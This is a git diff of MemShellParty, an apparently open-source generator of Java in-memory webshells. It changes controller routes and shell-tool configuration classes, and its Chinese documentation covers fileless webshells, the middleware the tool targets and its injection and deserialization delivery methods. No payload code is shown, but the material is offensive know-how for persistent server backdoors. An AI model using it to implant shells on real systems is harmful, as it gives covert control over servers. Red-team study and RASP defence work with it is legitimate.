* @since 2024/12/18 * @since 2024/12/18
*/ */
@RestController @RestController
@RequestMapping("/api/memshell/generate") @RequestMapping("/memshell/generate")
@CrossOrigin("*") @CrossOrigin("*")
public class MemShellGeneratorController { public class MemShellGeneratorController {
@PostMapping @PostMapping
@@ -15,7 +15,7 @@ import org.springframework.web.bind.annotation.*;
* @since 2025/8/10 * @since 2025/8/10
*/ */
@RestController @RestController
@RequestMapping("/api/probe/generate") @RequestMapping("/probe/generate")
@CrossOrigin("*") @CrossOrigin("*")
public class ProbeShellGeneratorController { public class ProbeShellGeneratorController {
@PostMapping @PostMapping
@@ -22,7 +22,7 @@ import java.util.Map;
*/ */
@RestController @RestController
@CrossOrigin("*") @CrossOrigin("*")
@RequestMapping("/api/version") @RequestMapping("/version")
public class VersionController { public class VersionController {
@Value("${spring.application.version}") @Value("${spring.application.version}")
@@ -1,70 +1,16 @@
package com.reajason.javaweb.boot.controller; package com.reajason.javaweb.boot.controller;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.springframework.core.io.ClassPathResource;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Controller; import org.springframework.stereotype.Controller;
import org.springframework.util.FileCopyUtils;
import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import java.io.IOException;
import java.io.InputStreamReader;
import java.nio.charset.StandardCharsets;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/19 * @since 2024/12/19
*/ */
@Controller @Controller
@Slf4j
public class ViewController { public class ViewController {
@GetMapping("/") @GetMapping("/")
public String index(){ public String index(){
return "redirect:/ui"; return "index";
}
@GetMapping({"/api/search", "/api/search.data"})
@ResponseBody
public String handleSearch(HttpServletRequest request, HttpServletResponse response) {
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
String relativePath = fullPath.substring(1);
return renderFileData(relativePath, response);
}
@GetMapping("/ui/**")
@SneakyThrows
public Object handleView(HttpServletRequest request, HttpServletResponse response) {
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
return "index";
}
String docPath = fullPath.substring(4);
if (docPath.endsWith(".data")) {
return ResponseEntity.ok(renderFileData(docPath, response));
}
return docPath + "/index";
}
private String renderFileData(String relativePath, HttpServletResponse response) {
try {
String templatePath = "templates/" + relativePath;
ClassPathResource resource = new ClassPathResource(templatePath);
if (!resource.exists()) {
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
return "File not found: " + relativePath;
}
InputStreamReader reader = new InputStreamReader(
resource.getInputStream(),
StandardCharsets.UTF_8
);
return FileCopyUtils.copyToString(reader);
} catch (IOException e) {
response.setStatus(HttpServletResponse.SC_INTERNAL_SERVER_ERROR);
return "Error reading file: " + e.getMessage();
}
} }
} }
@@ -23,7 +23,6 @@ public class MemShellGenerateRequest {
private String godzillaPass; private String godzillaPass;
private String godzillaKey; private String godzillaKey;
private String commandParamName; private String commandParamName;
private String commandTemplate;
private String behinderPass; private String behinderPass;
private String antSwordPass; private String antSwordPass;
private String headerName; private String headerName;
@@ -51,13 +50,10 @@ public class MemShellGenerateRequest {
case Command -> CommandConfig.builder() case Command -> CommandConfig.builder()
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.paramName(shellToolConfig.getCommandParamName()) .paramName(shellToolConfig.getCommandParamName())
.headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue())
.template(shellToolConfig.getCommandTemplate())
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor())) .encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass())) .implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
.build(); .build();
case Suo5, Suo5v2 -> Suo5Config.builder() case Suo5 -> Suo5Config.builder()
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.headerName(shellToolConfig.getHeaderName()) .headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue()) .headerValue(shellToolConfig.getHeaderValue())
@@ -77,10 +73,6 @@ public class MemShellGenerateRequest {
.shellClassBase64(shellToolConfig.getShellClassBase64()) .shellClassBase64(shellToolConfig.getShellClassBase64())
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.build(); .build();
case Proxy -> ProxyConfig.builder()
.headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue())
.shellClassName(shellToolConfig.shellClassName).build();
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool()); default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
}; };
} }
@@ -21,7 +21,6 @@ public class ProbeShellGenerateRequest {
private String server; private String server;
private String sleepServer; private String sleepServer;
private String reqParamName; private String reqParamName;
private String commandTemplate;
} }
public ProbeContentConfig parseProbeContentConfig() { public ProbeContentConfig parseProbeContentConfig() {
@@ -35,7 +34,6 @@ public class ProbeShellGenerateRequest {
.build(); .build();
case ResponseBody -> ResponseBodyConfig.builder() case ResponseBody -> ResponseBodyConfig.builder()
.reqParamName(probeContentConfig.reqParamName) .reqParamName(probeContentConfig.reqParamName)
.commandTemplate(probeContentConfig.commandTemplate)
.server(probeContentConfig.server) .server(probeContentConfig.server)
.build(); .build();
default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod()); default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());
@@ -1,7 +1,7 @@
package com.reajason.javaweb.boot.entity; package com.reajason.javaweb.boot.entity;
import lombok.Builder;
import lombok.Data; import lombok.Data;
import lombok.Builder;
/** /**
* @author ReaJason * @author ReaJason
+1 -4
View File
@@ -1,7 +1,4 @@
spring: spring:
application: application:
name: boot name: boot
version: ${version} version: ${version}
mvc:
pathmatch:
matching-strategy: ant_path_matcher
@@ -2,7 +2,7 @@ package com.reajason.javaweb.boot.controller;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.*;
/** /**
* @author ReaJason * @author ReaJason
@@ -26,21 +26,21 @@ public class ConfigControllerIntegrationTest {
@Test @Test
public void testConfigEndpoint() { public void testConfigEndpoint() {
ResponseEntity<Map> response = restTemplate.getForEntity("/api/config", Map.class); ResponseEntity<Map> response = restTemplate.getForEntity("/config", Map.class);
assertEquals(HttpStatus.OK, response.getStatusCode()); assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody()); assertNotNull(response.getBody());
} }
@Test @Test
public void testConfigServersEndpoint() { public void testConfigServersEndpoint() {
ResponseEntity<Map> response = restTemplate.getForEntity("/api/config/servers", Map.class); ResponseEntity<Map> response = restTemplate.getForEntity("/config/servers", Map.class);
assertEquals(HttpStatus.OK, response.getStatusCode()); assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody()); assertNotNull(response.getBody());
} }
@Test @Test
public void testConfigPackersEndpoint() { public void testConfigPackersEndpoint() {
ResponseEntity<List> response = restTemplate.getForEntity("/api/config/packers", List.class); ResponseEntity<List> response = restTemplate.getForEntity("/config/packers", List.class);
assertEquals(HttpStatus.OK, response.getStatusCode()); assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody()); assertNotNull(response.getBody());
} }
@@ -51,7 +51,7 @@ class MemShellGeneratorControllerTest {
shellToolConfigDTO.setHeaderValue("hello"); shellToolConfigDTO.setHeaderValue("hello");
request.setShellToolConfig(shellToolConfigDTO); request.setShellToolConfig(shellToolConfigDTO);
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity( ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
"/api/memshell/generate", request, MemShellGenerateResponse.class); "/memshell/generate", request, MemShellGenerateResponse.class);
assertEquals(HttpStatus.OK, response.getStatusCode()); assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody()); assertNotNull(response.getBody());
} }
+1 -1
View File
@@ -7,5 +7,5 @@ repositories {
} }
dependencies { dependencies {
implementation("com.vanniktech:gradle-maven-publish-plugin:0.35.0") implementation("com.vanniktech:gradle-maven-publish-plugin:0.34.0")
} }
@@ -3,7 +3,7 @@ plugins {
} }
mavenPublishing { mavenPublishing {
publishToMavenCentral(automaticRelease = true, validateDeployment = true) publishToMavenCentral(true)
signAllPublications() signAllPublications()
coordinates( coordinates(
"io.github.reajason", "io.github.reajason",
+1 -7
View File
@@ -9,16 +9,10 @@ idea {
} }
} }
version = "2.6.1" version = "2.2.0"
tasks.register("publishAllToMavenCentral") { tasks.register("publishAllToMavenCentral") {
dependsOn(":memshell-party-common:publishToMavenCentral") dependsOn(":memshell-party-common:publishToMavenCentral")
dependsOn(":packer:publishToMavenCentral") dependsOn(":packer:publishToMavenCentral")
dependsOn(":generator:publishToMavenCentral") dependsOn(":generator:publishToMavenCentral")
}
tasks.register("publishAllToMavenLocal") {
dependsOn(":memshell-party-common:publishToMavenLocal")
dependsOn(":packer:publishToMavenLocal")
dependsOn(":generator:publishToMavenLocal")
} }
@@ -1,7 +1,4 @@
--- ## 本地构建
title: 编译打包
icon: Package
---
### 源代码构建 ### 源代码构建
@@ -59,7 +56,7 @@ docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
> 适合于希望构建自定义访问路径的小伙伴,例如 NGINX 反代的场景([#44](https://github.com/ReaJason/MemShellParty/issues/44) > 适合于希望构建自定义访问路径的小伙伴,例如 NGINX 反代的场景([#44](https://github.com/ReaJason/MemShellParty/issues/44)
下载项目根目录的 [Dockerfile](https://github.com/ReaJason/MemShellParty/blob/master/Dockerfile) 下载项目根目录的 [Dockerfile](./Dockerfile)
- ROUTE_ROOT_PATH: 前端根路由配置 - ROUTE_ROOT_PATH: 前端根路由配置
- CONTEXT_PATH: 后端访问前缀 - CONTEXT_PATH: 后端访问前缀
@@ -1,48 +1,44 @@
--- ## 适配情况
title: 适配情况
icon: Album
---
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21 已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
### 中间件以及框架 ### 中间件以及框架
| [Tomcat5 ~ 11](/docs/server-intro#tomcat) | [Jetty6 ~ 12](/docs/server-intro#jetty)| [GlassFish3 ~ 7](/docs/server-intro#glassfish) | [Payara5 ~ 6](/docs/server-intro#payara)| | Tomcat5 ~ 11 | Jetty6 ~ 11 | GlassFish3 ~ 7 | Payara5 ~ 6 |
|----------------------|------------------------|----------------------|----------------------| |----------------------|------------------------|----------------------|----------------------|
| Servlet | Servlet | Filter | Filter | | Servlet | Servlet | Filter | Filter |
| Filter | Filter | Listener | Listener | | Filter | Filter | Listener | Listener |
| Listener | Listener | Valve | Valve | | Listener | Listener | Valve | Valve |
| Valve | Handler | FilterChain - Agent | FilterChain - Agent | | Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
| ProxyValve | Customizer | ContextValve - Agent | ContextValve - Agent | | ProxyValve | | | |
| FilterChain - Agent | ServletHandler - Agent | | | | FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
| ContextValve - Agent | | | | | ContextValve - Agent | | | |
| Upgrade | | | |
| [Resin3 ~ 4](/docs/server-intro#resin) | [SpringWebMVC](/docs/server-intro#springwebmvc) | [SpringWebFlux](/docs/server-intro#springwebflux) | [XXL-JOB](/docs/server-intro#xxljob) | | Resin3 ~ 4 | SpringMVC | SpringWebFlux | XXL-JOB |
|---------------------|--------------------------|-----------------|--------------| |---------------------|--------------------------|-----------------|--------------|
| Servlet | Interceptor | WebFilter | NettyHandler | | Servlet | Interceptor | WebFilter | NettyHandler |
| Filter | ControllerHandler | HandlerMethod | | | Filter | ControllerHandler | HandlerMethod | |
| Listener | FrameworkServlet - Agent | HandlerFunction | | | Listener | FrameworkServlet - Agent | HandlerFunction | |
| FilterChain - Agent | | NettyHandler | | | FilterChain - Agent | | NettyHandler | |
| [JBossAS4 ~ 7](/docs/server-intro#jboss) | [JBossEAP6 ~ 8](/docs/server-intro#undertow)| [WildFly9 ~ 30](/docs/server-intro#wildfly) | [Undertow](/docs/server-intro#undertow)| | JBossAS4 ~ 7 | JBossEAP6 ~ 7 | WildFly9 ~ 30 | Undertow |
|----------------------|----------------------------|------------------------|------------------------| |----------------------|----------------------------|------------------------|------------------------|
| Filter | Filter | Servlet | Servlet | | Filter | Filter | Servlet | Servlet |
| Listener | Listener | Filter | Filter | | Listener | Listener | Filter | Filter |
| Valve | Valve(6) | Listener | Listener | | Valve | Valve(6) | Listener | Listener |
| ProxyValve | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent| | ProxyValve | | | |
| FilterChain - Agent | ContextValve - Agent (6) | | | | FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
| ContextValve - Agent | ServletHandler - Agent (7) | | | | ContextValve - Agent | ContextValve - Agent (6) | | |
| | ServletHandler - Agent (7) | | |
| [WebSphere7 ~ 9](/docs/server-intro#websphere)| [WebLogic (10.3.6 ~ 14)](/docs/server-intro#weblogic) | | WebSphere7 ~ 9 | WebLogic 10.3.6 ~ 14 |
|-----------------------|-------------------------| |-----------------------|-------------------------|
| Servlet | Servlet | | Servlet | Servlet |
| Filter | Filter | | Filter | Filter |
| Listener | Listener | | Listener | Listener |
| FilterManager - Agent | ServletContext - Agent | | FilterManager - Agent | ServletContext - Agent |
| [BES (9.5.x)](/docs/server-intro#bes)| [TongWeb6 ~ 8](/docs/server-intro#tongweb) | [InforSuite AS (9 ~ 10)](/docs/server-intro#inforsuite) | | BES9.5.x | TongWeb6 ~ 8 | InforSuite AS 9 ~ 10 |
|----------------------|----------------------|------------------------| |----------------------|----------------------|------------------------|
| Filter | Filter | Filter | | Filter | Filter | Filter |
| Listener | Listener | Listener | | Listener | Listener | Listener |
@@ -50,7 +46,7 @@ icon: Album
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | | FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | | ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
| [Apusic AS (9 ~ 10)](/docs/server-intro#apusic) | [Primeton (6.5)](/docs/server-intro#primeton)| | Apusic AS 9 ~ 10 | Primeton6.5 |
|---------------------|----------------------| |---------------------|----------------------|
| Servlet | Filter | | Servlet | Filter |
| Filter | Listener | | Filter | Listener |
@@ -60,30 +56,29 @@ icon: Album
### 内存马功能 ### 内存马功能
- [x] [Godzilla 哥斯拉](/docs/shelltool/godzilla) - [x] [Godzilla 哥斯拉](https://github.com/BeichenDream/Godzilla)
- [x] [Behinder 冰蝎](/docs/shelltool/behinder) - [x] [Behinder 冰蝎](https://github.com/rebeyond/Behinder)
- [x] [命令执行](/docs/shelltool/command) - [x] 命令执行
- [x] [Suo5](/docs/shelltool/suo5) - [x] [Suo5](https://github.com/zema1/suo5)
- [x] [AntSword 蚁剑](/docs/shelltool/antsword) - [x] [AntSword 蚁剑](https://github.com/AntSwordProject/antSword)
- [x] [Neo-reGeorg](/docs/shelltool/neoregeorg) - [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
- [x] [Custom](/docs/custom-memshell) - [x] Custom
### 打包方式 ### 封装方式
- [x] [BASE64](/docs/base64) - [x] BASE64
- [x] [JSP/JSPX](/docs/jsp) - [x] GZIP BASE64
- [x] [BigInteger](/docs/biginteger) - [x] JSP
- [x] [BCEL](/docs/bcel) - [x] JSPX
- [x] [AbstractTranslet](/docs/abstract-translet) - [x] JAR
- [x] [BCEL](/docs/bcel) - [x] BCEL
- [x] [内置脚本引擎、Rhino 脚本引擎](/docs/script-engine) - [x] 内置脚本引擎、Rhino 脚本引擎
- [x] [表达式注入(EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell](/docs/expression) - [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
- [x] [模板注入(Velocity、Freemarker、JinJava](/docs/ssti) - [x] Velocity、Freemarker、JinJava
- [x] [Java 原生反序列化(CB 和 CC 链)](/docs/java-deserialize) - [x] 原生反序列化(CB 和 CC 链)
- [x] [Hessian、Hessian2 反序列化(XSLT 链)](/docs/hessian-deserialize) - [x] Agent
- [x] [H2](/docs/h2)
- [x] [JAR、ScriptEngineJar、GroovyTransformJar](/docs/jar)
- [x] [Agent](/docs/agent-jar)
- [x] XXL-JOB Executor - [x] XXL-JOB Executor
- [x] Hessian、Hessian2 反序列化(XSLT链)
- [ ] JNDI - [ ] JNDI
- [ ] JDBC 连接
- [ ] 其他常见反序列化 - [ ] 其他常见反序列化
+2 -2
View File
@@ -36,9 +36,9 @@ What you can learn or try from this project:
4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents. 4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project). 5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
![normal_generator](../assets/normal_generator.png) ![normal_generator](../asserts/normal_generator.png)
![agent_generator](../assets/agent_generator.png) ![agent_generator](../asserts/agent_generator.png)
## Key Features ## Key Features
@@ -1,15 +1,13 @@
--- # 学习 Java 内存马推荐工具
title: 工具推荐
description: 工欲善其事必先利其器 > 工欲善其事必先利其器
---
## Arthas ## Arthas
Arthas 是阿里云开源的 Java 诊断工具,其本质是一个 Java Agent,它提供了各种各样的命令,能让我们洞察 JVM 各种细节信息。所有的使用姿势 [官方文档](https://arthas.aliyun.com/) 都有,以下会列举一些常见的场景和问题 Arthas 是阿里云开源的 Java 诊断工具,其本质是一个 Java Agent,它提供了各种各样的命令,能让我们洞察 JVM 各种细节信息。所有的使用姿势 [官方文档](https://arthas.aliyun.com/) 都有,以下会列举一些常见的场景和问题
JDK8 以上的下载链接https://arthas.aliyun.com/doc/download.html JDK8 以上的下载链接https://arthas.aliyun.com/doc/download.html
JDK6/7 下载链接,https://arthas.aliyun.com/3.x/doc/download.html
JDK6/7 下载链接:https://arthas.aliyun.com/3.x/doc/download.html
### 启动 Arthas ### 启动 Arthas
+130
View File
@@ -0,0 +1,130 @@
# Java 服务简介
以下服务仅我个人遇到的一些场景,与实际攻防场景可能仍有差距,但是在 MemShellParty
中可用于参考进行内存马生成。个别其他服务还请自行辨别其服务类型。如果有其他环境补充,欢迎 PR 交流学习~
## Tomcat
> https://tomcat.apache.org/
Tomcat 使用的是自己 Catalina 模块提供的 Servlets 实现,限制较少,在 MemShellParty 中,服务类型选 Tomcat 即可生成 Tomcat
内存马。
一般而言,SpringWebMVC 项目大多使用 Tomcat 提供 Servlets 容器功能,比如 Nacos,这种情况下可以选择 Tomcat 内存马注入。
其他服务中,致远 OA、Confluence、帆软使用的是 Tomcat。
## Jetty
> https://jetty.org/
Jetty6 版本使用的包名为 `org.mortbay.jetty`,而 7 以上使用的是 `org.eclipse.jetty`,在测试最新的 Jenkins 时,发现 Jetty11+
版本支持 ee8 ~ ee10 的环境,包名对应的是 `org.eclipse.jetty.ee8`,这些在 MemShellParty 中均已支持,因此服务类型选 Jetty
即可生成 Jetty 内存马。
在 SpringWebMVC 项目中也是有可能使用的。
## JBoss
> JBossAS: https://jbossas.jboss.org/downloads
> JBossEAP: https://developers.redhat.com/products/eap/download
JBoss 分为 JBossAS 和 JBossEAPJBossAS 全版本和 JBossEAP6 使用的 Catalina 模块提供的 Servlets 实现,JBossEAP7 及其以上使用的
[Undertow](https://undertow.io/) 提供的 Servlets 实现。
因此 JBossAS 4~7 以及 JBossEAP6 服务类型选择 JBoss 进行内存马的生成,而 JBossEAP7 服务类型需要选择
Undertow 进行内存马的生成。
## Wildfly
> https://www.wildfly.org/
Wildfly 使用的 [Undertow](https://undertow.io/) 提供的 Servlets 实现,因此服务类型选择 Undertow 生成内存马
## GlassFish
> https://glassfish.org/
GlassFish 使用的是 Catalina 提供的 Servlets 实现,但是使用了 OSGI 类加载模式,因此类限制较为严重,在 MemShellParty 中,服务类型选择
GlassFish 进行内存马的生成。
## Payara
> https://www.payara.fish/downloads/
基于 GlassFish 开发,服务类型选择 GlassFish 进行内存马的生成。
## Resin
> https://caucho.com/products/resin/download
Resin 使用的包名为 `com.caucho.`,服务类型选择 Resin 进行内存马的生成。
泛微 OA 使用的就是 Resin 提供的服务。
## WebLogic
> https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
WebLogic 使用的包名为 `weblogic.`,服务类型选择 WebLogic 进行内存马的生成。
## WebSphere
> https://www.ibm.com/products/websphere-application-server
WebSphere 是 IBM 研发的商用 Servlets 容器,开源版本为 Websphere liberty
包名为 `com.ibm.`,服务类型选择 WebSphere 进行内存马的生成。
## BES
> https://www.bessystem.com/
BES 宝兰德,其基于 Tomcat 进行二开,在 BES 9.5.1 版本中没有进行包名修改,而在 BES 9.5.2
版本之后包名修改为了 `com.bes.enterprise.`。因此 BES 9.5.1 版本,服务类型选择 Tomcat 进行内存马的生成,BES 9.5.2+ 服务类型选择
BES 进行内存马的生成。
## TongWeb
> https://www.tongtech.com/sy.html
TongWeb 东方通,其基于 Tomcat 进行二开,并且在最初的 6 版本就进行了包名修改,每个版本都进行了修改。
- TongWeb6: `com.tongweb.web.thor.`
- TongWeb7: `com.tongweb.catalina.`
- TongWeb8: `com.tongweb.server.`
这三个版本在 MemShellParty 中均有适配,服务类型选择 TongWeb 进行内存马的生成。
## Apusic
> https://www.apusic.com/
金蝶中间件,Apusic9 疑似魔改自 GlassFish,不过改得面目全非了,自 Apusic10 开始使用原版 GlassFish 进行二开。因此 Apusic9
版本服务类型选择
Apusic 进行内存马生成,Apusic10 版本选择 GlassFish 进行内存马生成。
## Primeton
> https://www.primeton.com/products/pas/
普元中间件,Primeton6.5 版本基于 GlassFish
二开,高版本疑似做了包名修改,但没有环境,因此暂未适配([#60](https://github.com/ReaJason/MemShellParty/issues/60))因此当前仅支持
Primeton6.5 版本,服务类型选择 GlassFish 进行内存马生成。
## InforSuite
中创中间件,InforSuite 基于 GlassFish 进行二开,不过因为 InforSuite10 版本针对 filterConfigs 字段做了手脚改成了
iasFilterConfigs 因此 Filter 注入单独进行了适配。服务类型选择 InforSuite 进行内存马注入。
## SpringWebMVC
Spring 框架,默认的 MVC 架构,官方 Servlets 容器实现可选 Tomcat、Jetty 与 Undertow,也可打包成 war 包部署于任意 Servlets
容器上。内存马注入场景下不推荐框架内存马,而是具体的 Servlets 容器内存马,因为可绕过框架的限制(鉴权或其他)。服务类型选择
SpringWebMVC 进行内存马生成。
## SpringWebFlux
Spring Boot 项目中基于 reactor 异步 IO 模型的服务组件,底层使用的 Netty,一般常见于各种 SpringCloud 项目,例如网关。服务类型选择
SpringWebFlux 进行内存马生成。
@@ -1,8 +1,6 @@
--- # Java 内存马简介
title: 什么是 Java 内存马
---
Java 内存马是一种无文件 webshell,相较于传统的 webshell,它无须落地 JSP 文件即可实现 webshell 的所有功能。其唯一缺点可能就是服务重启即失效,不过也出现了附带的内存马复活相关技术。 Java 内存马是一种无文件 webshell,相较于传统的 webshell,它无须落地 JSP 文件即可实现所有 webshell 功能。其唯一缺点可能就是服务重启即失效,因此也出现了附带的内存马复活相关技术。
## 什么是 webshell ## 什么是 webshell
@@ -12,17 +10,17 @@ webshell 是一种类似于 shell 的入口,攻击者可通过它来控制目
常见的 webshell 功能包括: 常见的 webshell 功能包括:
1. 命令回显,反弹 unix shell 1. 命令回显,反弹 unix shell
2. 网站管理工具,例如蚁剑、哥斯拉和冰蝎等。 2. 网站管理工具,例如蚁剑、哥斯拉和冰蝎等。
3. 代理隧道,例如 reGeorg、Neo-reGeorg、suo5 等。 3. 代理隧道,例如 reGeorg、Neo-reGeorg、suo5 等。
## 演变历程 ## 演变历程
随着攻防对抗强度越来越高,主机安全(文件监控、防篡改、EDR),WAF 流量设备,webshell 查杀等专业的安全设备被广泛使用。**webshell 已经从大马、小马、一句话马、加密一句话马逐步进化到现在的加密内存马,不断突破安全设备的检测**。无文件这一特性使主机安全设备变得失效,而加密则是针对 WAF 等流量设备,因此内存马使用得越来越多,当前唯一真正有效的防护措施似乎只剩下了 **RASP(运行时应用安全防护)** — 这也是我目前所从事的方向 Java RASP 研发 — [靖云甲](https://www.boundaryx.com/category/product/adr)。 随着攻防演练热度越来越高,主机安全(文件监控、防篡改、EDR),WAF 流量设备,webshell 查杀等专业的安全设备被广泛使用。**webshell 已经从大马、小马、一句话马、加密一句话马逐步进化到现在的加密内存马,不断突破安全设备的检测**。无文件这一特性使主机安全设备变得失效,而加密则是针对 WAF 等流量设备,因此内存马使用得越来越多,当前唯一真正有效的防护措施只剩下了 **RASP(运行时应用安全防护)** — 这也是我目前所从事的方向 Java RASP 研发 — [靖云甲](https://www.boundaryx.com/category/product/adr)。
内存马也被称为内存 webshell,相较于传统 webshell 的文件落地方式,只是在攻防对抗中进化,换了个实现方式挂 webshell。 因此内存马也被称为内存 webshell,相较于传统 webshell 的文件落地方式,只是在攻防对抗中进化,换了个实现方式挂 webshell。
此项目 https://github.com/tennc/webshell 收集了超多不同编程语言的 webshell,或许你遇到有意思的 webshell 时,可以考虑将其改造成内存马。 此项目 https://github.com/tennc/webshell 收集了超多不同编程语言的 webshell,或许你遇到有意思的 webshell 时,可以考虑将其改造成内存马。
## 常见 Java 内存马 ## 常见 Java 内存马
@@ -32,7 +30,7 @@ webshell 是一种类似于 shell 的入口,攻击者可通过它来控制目
**任何能进行 Web 通信的组件都可以成为内存马依附的位置**。 **任何能进行 Web 通信的组件都可以成为内存马依附的位置**。
Java EE 中的 Servlet 规范就提供了 Servlet、Filter 以及 ListenerTomcat 通过挖掘已经有了 Upgrade、WebSocket、Executor、Valve、ApplicationFilterChain。并且 SpringWebMVC 中的 Controller、InterceptorSpringWebFlux 中的 WebFilter 这种框架内存马也被广泛使用。 Java EE 中的 Servlets 就提供了 Servlet、Filter 以及 ListenerTomcat 通过挖掘已经有了 Upgrade、WebSocket、Executor、Valve、ApplicationFilterChain。并且 SpringWebMVC 中的 Controller、InterceptorSpringWebFlux 中的 WebFilter 这种框架内存马也使用广泛
从技术实现的不同,分为非 Agent 内存马与 Agent 内存马,由于 Agent 内存马需要落地 Jar 包,冰蝎工具的作者后续也提供了无文件 Agent 内存马的实现方式,参考:[Java 内存攻击技术漫谈](https://xz.aliyun.com/news/9525)、[论如何优雅的注入 Java Agent 内存马](https://xz.aliyun.com/news/11086)。 从技术实现的不同,分为非 Agent 内存马与 Agent 内存马,由于 Agent 内存马需要落地 Jar 包,冰蝎工具的作者后续也提供了无文件 Agent 内存马的实现方式,参考:[Java 内存攻击技术漫谈](https://xz.aliyun.com/news/9525)、[论如何优雅的注入 Java Agent 内存马](https://xz.aliyun.com/news/11086)。
@@ -1,6 +1,4 @@
--- ## 如何使用自定义内存马功能
title: 实现自定义内存马
---
MemShellParty 参考 JMG 使用注入器和内存马分离的方式进行的内存马注入,注入的伪代码如下: MemShellParty 参考 JMG 使用注入器和内存马分离的方式进行的内存马注入,注入的伪代码如下:
@@ -28,32 +26,29 @@ inject(context, shell);
| 挂载类型 | 参考实现 | | 挂载类型 | 参考实现 |
|----------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| |----------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| Servlet/JakartaServlet | [GodzillaServlet](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java) | | Servlet/JakartaServlet | [GodzillaServlet](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java) |
| Filter/JakartaFilter | [GodzillaFilter](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java) | | Filter/JakartaFilter | [GodzillaFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java) |
| Listener/JakartaListener | [GodzillaListener](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java) | | Listener/JakartaListener | [GodzillaListener](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java) |
| Valve/JakartaValve | [GodzillaValve](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java) | | Valve/JakartaValve | [GodzillaValve](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java) |
| ProxyValve/JakartaProxyValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) | | ProxyValve/JakartaProxyValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
